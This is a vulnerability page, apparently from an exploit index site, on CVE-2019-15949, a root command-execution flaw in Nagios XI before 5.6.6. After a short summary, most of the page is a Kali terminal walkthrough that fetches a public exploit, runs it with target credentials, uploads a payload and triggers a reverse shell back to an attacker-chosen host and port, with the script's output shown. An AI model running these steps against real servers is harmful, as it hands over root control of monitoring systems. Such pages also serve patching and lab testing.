Skip to content
HackIndex logo

HackIndex

CVE-2019-15949:
Nagios XI RCE

Published: Feb 25, 2026
High
Shell injection

CVE-2019-15949 is a vulnerability in Nagios XI before 5.6.6 where an attacker who already has access as the local nagios user, or an authenticated XI admin with plugin-modification rights, can abuse the system-profile download workflow so a root-run script ends up executing attacker-controlled plugin code. NVD published it on September 5, 2019, and it was fixed by upgrading to Nagios XI 5.6.6. If exploited, it can lead to command execution as root, effectively giving an attacker full control of the affected server.

RCE Privilege Escalation Nagios XI

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

jakgibb/nagiosxi-root-rce-exploit
POC which exploits a vulnerability within Nagios XI (5.6.5) to spawn a root shell
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/jakgibb/nagiosxi-root-rce-exploit.git
┌──(kali㉿kali)-[~]
└─$ cd nagiosxi-root-rce-exploit
 
┌──(kali㉿kali)-[~]
└─$ # or on Kali:
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/php/webapps/47299.php ./exploit.php
 
┌──(kali㉿kali)-[~]
└─$ php exploit.php --host=$TARGET_IP --ssl=false --user=$USER_NAME --pass=$USER_PASS --reverseip=$LHOST --reverseport=$LPORT 
[+] Grabbing NSP from: http://$TARGET_IP/nagiosxi/login.php
[+] Retrieved page contents from: http://$TARGET_IP/nagiosxi/login.php
[+] Extracted NSP - value: 860a6ac6e3d387f1507d5f8a4098bc16882b7d8301421e232c84d2ce71a58d63
[+] Attempting to login...
[+] Authentication success
[+] Checking we have admin rights...
[+] Admin access confirmed
[+] Grabbing NSP from: http://$TARGET_IP/nagiosxi/admin/monitoringplugins.php
[+] Retrieved page contents from: http://$TARGET_IP/nagiosxi/admin/monitoringplugins.php
[+] Extracted NSP - value: c65b6ad42a10598ff4646244d75334a7bb4c90c3539d2a4155903d4f2bebd7c1
[+] Uploading payload...
[+] Payload uploaded
[+] Triggering payload: if successful, a reverse shell will spawn at $LHOST:$LPORT